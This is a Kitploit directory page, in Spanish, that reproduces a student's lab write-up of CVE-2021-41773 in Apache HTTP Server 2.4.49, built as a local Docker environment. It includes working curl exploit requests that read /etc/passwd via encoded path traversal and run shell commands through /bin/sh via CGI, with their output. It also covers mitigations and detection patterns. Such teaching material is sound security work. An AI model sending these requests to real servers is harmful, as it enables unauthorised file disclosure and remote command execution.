Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Apache-CVE-2021-41773 — WHS 4.ª generación Lee Hee-su. Entrega del trabajo de kr-vulhub | Kitploit
Herramientas/GitHubGitHub/lheeeesoo/apache-cve-2021-41773
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHublheeeesoo/apache-cve-2021-41773

Apache-CVE-2021-41773

WHS 4.ª generación Lee Hee-su. Entrega del trabajo de kr-vulhub

Ver Repositorio
hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-41773 Apache HTTP Server Path Traversal

Contribuyentes

이희수(@lheeeesoo)


Apache HTTP Server 2.4.49 contiene una vulnerabilidad en el proceso de normalización de rutas URL, ya que no bloquea adecuadamente las rutas parentales codificadas.

Un atacante puede utilizar valores como .%2e para salir del directorio que el servidor web está configurado para publicar. En entornos donde se permite el acceso a directorios externos, los archivos internos del servidor pueden quedar expuestos y, si la funcionalidad CGI está habilitada, se puede ejecutar una shell del sistema, lo que deriva en ejecución remota de comandos.

En este proyecto se construyó un entorno Apache HTTP Server 2.4.49 con Docker y se reprodujeron los dos escenarios siguientes:

  • Exposición del archivo /etc/passwd mediante Path Traversal
  • Ejecución remota de comandos mediante CGI

Estructura del proyecto

root@kitploit:~
CVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│   └── httpd.conf
├── web/
│   └── index.html
├── scripts/
│   ├── poc.sh
│   └── poc.ps1
└── screenshots/
    ├── 01-container-status.png
    ├── 02-normal-service.png
    ├── 03-apache-version.png
    ├── 04-path-traversal.png
    ├── 05-rce-whoami.png
    └── 06-poc-script.png

Configuración del entorno

Construye la imagen Docker y ejecuta el contenedor con el siguiente comando:

root@kitploit:~
docker compose up -d --build

Comprueba el estado del contenedor con el siguiente comando:

root@kitploit:~
docker ps

En el resultado se puede comprobar que el contenedor está en estado Up y que el puerto 8080 del host está conectado al puerto 80 del contenedor.


Comprobación del servicio web normal

Accede a la siguiente dirección desde el navegador:

root@kitploit:~
http://localhost:8080

Si la página web de Apache se muestra correctamente, la configuración del entorno está completa.


Comprobación de la versión de Apache

Comprueba la versión de Apache dentro del contenedor con el siguiente comando:

root@kitploit:~
docker compose exec web /usr/local/apache2/bin/httpd -v

Resultado de la ejecución:

root@kitploit:~
Server version: Apache/2.4.49 (Unix)

Se confirma que se está ejecutando Apache HTTP Server 2.4.49, que se ve afectado por CVE-2021-41773.


Condiciones de vulnerabilidad

En este entorno de práctica se aplican las siguientes condiciones:

  • Uso de Apache HTTP Server 2.4.49
  • Uso de rutas Alias y ScriptAlias
  • Acceso permitido a directorios fuera de la raíz web
  • Funcionalidad CGI habilitada
  • El proceso de Apache se ejecuta con la cuenta daemon

En la configuración de Apache se permite el acceso a la ruta raíz del sistema de archivos de la siguiente manera:

root@kitploit:~
<Directory "/">
    AllowOverride None
    Require all granted
</Directory>

Además, se utilizó la siguiente configuración para la ejecución de CGI:

root@kitploit:~
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options +ExecCGI
    Require all granted
</Directory>

Path Traversal

La siguiente solicitud emplea una ruta parental codificada para acceder al archivo /etc/passwd dentro del contenedor.

root@kitploit:~
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"

.%2e se procesa como .. después de la decodificación de la URL.

Por lo tanto, el atacante puede ascender varias veces por los directorios superiores a partir de la ruta Alias y acceder al archivo /etc/passwd.

Resultado de la ejecución:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd almacena información de las cuentas del sistema, como el nombre de usuario, UID, GID, directorio home y shell de inicio de sesión.

Aunque no contiene contraseñas reales, se confirma una vulnerabilidad de exposición de información, ya que un archivo interno del servidor, al que un usuario web externo normal no debería tener acceso, quedó expuesto mediante una simple solicitud HTTP.

En un entorno de producción real, de la misma manera podrían quedar expuestos los siguientes datos sensibles:

  • Archivos de configuración de la aplicación
  • Información de conexión a la base de datos
  • Claves API e información de autenticación
  • Código fuente
  • Archivos de registro (logs)
  • Certificados y claves privadas

Ejecución de comandos mediante CGI

La siguiente solicitud utiliza Path Traversal para acceder a /bin/sh y ejecutar el comando whoami.

root@kitploit:~
curl -s --path-as-is \
  -d "echo Content-Type: text/plain; echo; whoami" \
  "http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

Resultado de la ejecución:

root@kitploit:~
daemon

Dado que la ruta /cgi-bin/ está configurada con ScriptAlias, Apache no se limita a leer los archivos de esa ruta, sino que los ejecuta como programas CGI.

Al acceder a /bin/sh mediante Path Traversal y enviar el comando incluido en el cuerpo de la solicitud, el comando se ejecuta con los permisos de la cuenta con la que se ejecuta Apache.

En este entorno, Apache se ejecuta con la siguiente cuenta:

root@kitploit:~
User daemon
Group daemon

Por lo tanto, el resultado de la ejecución del comando también se mostró con la cuenta daemon.

Aunque no se trata de privilegios root, podrían surgir las siguientes amenazas adicionales:

  • Alteración de archivos de la aplicación web
  • Robo de archivos de configuración e información de autenticación
  • Descarga y ejecución de archivos maliciosos
  • Exploración de la red interna
  • Escalada de privilegios mediante vulnerabilidades adicionales

Ejecución del script PoC

En lugar de ejecutar comandos individuales, se pueden comprobar de una sola vez el servicio normal, el Path Traversal y la ejecución remota de comandos mediante el script PoC.

PowerShell

root@kitploit:~
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1

Bash

root@kitploit:~
bash scripts/poc.sh

El script verifica los siguientes elementos en orden:

root@kitploit:~
[1] 정상 서비스 확인
[2] Path Traversal을 통한 /etc/passwd 접근
[3] CGI를 통한 id 명령 실행


Medidas de mitigación

Actualización de la versión de Apache

No se debe utilizar Apache HTTP Server 2.4.49; hay que actualizar a una versión reciente con los parches de seguridad aplicados.

Bloqueo del acceso al directorio raíz

En entornos de producción, el acceso a la ruta raíz del sistema de archivos debe estar bloqueado por defecto.

root@kitploit:~
<Directory "/">
    Require all denied
</Directory>

Solo se permiten por separado los directorios web necesarios.

root@kitploit:~
<Directory "/usr/local/apache2/htdocs">
    Require all granted
</Directory>

Desactivación de CGI innecesario

Si la funcionalidad CGI no es necesaria, desactiva los siguientes elementos:

  • mod_cgi
  • ScriptAlias
  • ExecCGI

Aplicación del principio de mínimo privilegio

El proceso de Apache debe ejecutarse con una cuenta de servicio restringida, no con root, y se deben minimizar los archivos y directorios a los que dicha cuenta puede acceder.

Monitorización de registros

Se deben detectar y bloquear las solicitudes que contengan rutas anómalas como las siguientes:

root@kitploit:~
.%2e
%2e%2e
/cgi-bin/

Detención del entorno

root@kitploit:~
docker compose down

Conclusión

En esta práctica se construyó Apache HTTP Server 2.4.49 mediante un Dockerfile y se configuró un entorno vulnerable reproducible con Docker Compose.

Se comprobó que, mediante una solicitud de Path Traversal, se expuso el archivo /etc/passwd del interior del contenedor, al que un usuario web normal no debería poder acceder.

Asimismo, se confirmó que, en un entorno con CGI habilitado, es posible acceder a /bin/sh y ejecutar comandos del sistema con los permisos de la cuenta daemon, la cuenta con la que se ejecuta Apache.

Con ello se demuestra que CVE-2021-41773 no solo provoca una simple exposición de rutas, sino que, según la configuración del entorno, puede derivar en ejecución remota de comandos.


Referencias

  • Apache HTTP Server Security Vulnerabilities
  • NVD CVE-2021-41773
  • Apache HTTP Server URL Mapping Documentation
  • Apache CGI Documentation
Descargar herramienta